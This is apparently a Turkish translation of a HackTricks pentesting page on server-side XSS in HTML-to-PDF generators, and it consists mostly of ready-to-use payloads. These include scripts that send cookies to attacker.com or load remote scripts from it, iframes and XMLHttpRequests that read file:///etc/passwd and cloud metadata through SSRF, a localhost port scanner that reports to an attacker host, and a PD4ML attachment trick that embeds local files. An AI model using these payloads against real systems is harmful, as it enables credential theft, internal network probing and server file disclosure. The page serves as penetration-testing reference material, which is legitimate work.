hacktricks/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md
2024-02-10 18:14:16 +00:00

12 KiB
Raw Blame History

Sunucu Tarafı XSS (Dinamik PDF)

AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı) öğrenin!

HackTricks'i desteklemenin diğer yolları:

Sunucu Tarafı XSS (Dinamik PDF)

Bir web sayfası kullanıcı tarafından kontrol edilen girişleri kullanarak bir PDF oluşturuyorsa, PDF oluşturan botu keyfi JS kodu yürütmeye kandırmayı deneyebilirsiniz.
Yani, PDF oluşturan bot, bazı HTML etiketlerini bulursa, onları yorumlayacak ve bu davranışı suistimal ederek bir Sunucu XSS oluşturabilirsiniz.

Lütfen, <script></script> etiketlerinin her zaman çalışmadığını fark edin, bu yüzden JS'yi yürütmek için farklı bir yönteme ihtiyacınız olacak (örneğin, <img etiketini suistimal ederek).
Ayrıca, düzenli bir saldırıda oluşturulan pdf'yi görebilecek/indirebileceğinizi unutmayın, bu yüzden JS kullanarak yazdığınız her şeyi görebileceksiniz (document.write() örneğin). Ancak, oluşturulan PDF'yi göremiyorsanız, muhtemelen bilgiyi sizinle web isteği yaparak çıkarmak için ihtiyacınız olacaktır (Kör).

Popüler PDF oluşturma

  • wkhtmltopdf, HTML ve CSS'yi PDF belgelerine dönüştürme yeteneğiyle tanınır ve WebKit render motorunu kullanır. Bu araç, geniş bir uygulama yelpazesine erişilebilir bir açık kaynaklı komut satırı yardımcı programı olarak mevcuttur.
  • TCPDF, PDF oluşturma için PHP ekosistemi içinde sağlam bir çözüm sunar. Görüntü, grafik ve şifreleme işleme yeteneğine sahiptir ve karmaşık belgeler oluşturmak için çok yönlülüğünü sergiler.
  • Bir Node.js ortamında çalışanlar için, PDFKit kullanılabilir bir seçenek sunar. HTML ve CSS'den doğrudan PDF belgeleri oluşturmayı sağlar ve web içeriği ile yazdırılabilir formatlar arasında bir köprü görevi görür.
  • Java geliştiricileri, PDF oluşturmanın yanı sıra dijital imzalar ve form doldurma gibi gelişmiş özellikleri de destekleyen bir kütüphane olan iText'i tercih edebilirler. Kapsamlı özellik seti, güvenli ve etkileşimli belgeler oluşturmak için uygundur.
  • FPDF, basitliği ve kullanım kolaylığıyla ayırt edilen başka bir PHP kütüphanesidir. Kapsamlı özelliklere ihtiyaç duymadan PDF oluşturma konusunda basit bir yaklaşım arayan geliştiriciler için tasarlanmıştır.

Payloadlar

Keşif

<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>

<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">

SVG

Bu SVG yüklemesi içinde önceki veya aşağıdaki yüklemelerden herhangi biri kullanılabilir. Bir iframe, Burpcollab alt alanına erişen ve diğer bir iframe, meta veri uç noktasına erişen örnekler olarak eklenmiştir.

<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>


<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>

Aşağıda, diğer SVG yükleri için https://github.com/allanlw/svg-cheatsheet adresinde bulabileceğiniz birçok örnek bulunmaktadır.

Yol ifşası

<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

Harici bir script yükle

Bu zafiyeti en iyi şekilde sömürmek için, botun yerel olarak kontrol ettiğiniz bir script yüklemesini sağlamak için zafiyeti istismar etmek en uygun yoldur. Ardından, payload'u yerel olarak değiştirebilir ve her seferinde aynı kodla botun bunu yüklemesini sağlayabilirsiniz.

<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>

Yerel dosya okuma / SSRF

{% hint style="warning" %} Örneğin file:///etc/passwd yerine http://169.254.169.254/latest/user-data gibi harici bir web sayfasına erişmeyi denemek için (SSRF) değiştirin.

Eğer SSRF izin veriliyorsa, ancak ilginç bir alan adına veya IP'ye ulaşamıyorsanız, potansiyel bypasslar için bu sayfayı kontrol edin. {% endhint %}

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

Bot gecikmesi

Bir web uygulamasını hedef alırken, bazen hedefin botları tespit etmek ve engellemek için bir gecikme mekanizması kullanabileceğini fark edebilirsiniz. Bu gecikme mekanizması, botların hızlı bir şekilde istek göndermesini engelleyerek, otomatik saldırıları zorlaştırır.

Bu durumda, botların tespit edilmesini önlemek için bazı teknikler kullanabilirsiniz. Örneğin, botların tespit etmesini zorlaştırmak için rastgele gecikmeler ekleyebilirsiniz. Bu, botların belirli bir kalıba göre istek göndermesini engelleyerek, tespit edilmelerini zorlaştırır.

Bununla birlikte, bot gecikmesini aşmak için bazı yöntemler de vardır. Örneğin, birden fazla IP adresi kullanarak botları dağıtabilir veya botların tespit edilmesini önlemek için kullanıcı ajanlarını değiştirebilirsiniz.

Sonuç olarak, bot gecikmesi, web uygulamalarını hedef alan saldırıları zorlaştıran bir güvenlik önlemidir. Ancak, bu önlemi aşmak için çeşitli teknikler kullanılabilir.

<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">

Port Taraması

Port taraması, bir hedef sistemdeki açık portları belirlemek için kullanılan bir tekniktir. Bu teknik, bir saldırganın hedef sistemdeki ağ servislerini keşfetmesine ve potansiyel zayıflıkları tespit etmesine olanak tanır. Port taraması, saldırganın hedef sistemdeki ağ servislerine erişim sağlamak için kullanabileceği potansiyel hedefleri belirlemesine yardımcı olur. Bu bilgi, saldırganın hedef sistemdeki güvenlik açıklarını sömürmek için kullanabileceği bir başlangıç noktası sağlar. Port taraması genellikle güvenlik testleri ve ağ keşfi sırasında kullanılır.

<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}

for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

SSRF

Bu zafiyet çok kolay bir şekilde SSRF'ye dönüştürülebilir (çünkü betik harici kaynakları yükleyebilirsiniz). Bu yüzden sadece bunu istismar etmeyi deneyin (bazı meta verileri okuyun?).

Ekler: PD4ML

PD4ML gibi bazı HTML 2 PDF motorları, PDF'ye ekler belirlemeye izin verir. Bu özelliği istismar ederek PDF'ye herhangi bir yerel dosya ekleyebilirsiniz.
Ekleri açmak için dosyayı Firefox ile açtım ve Kağıt Klipsi simgesine çift tıkladım ve eklemeyi yeni bir dosya olarak kaydettim.
PDF yanıtını burp ile yakalamak ayrıca PDF içinde ekleri açık metin olarak göstermelidir.

{% code overflow="wrap" %}

<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>

{% endcode %}

Referanslar

AWS hackleme konusunda sıfırdan kahramana dönüşmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!

HackTricks'i desteklemenin diğer yolları: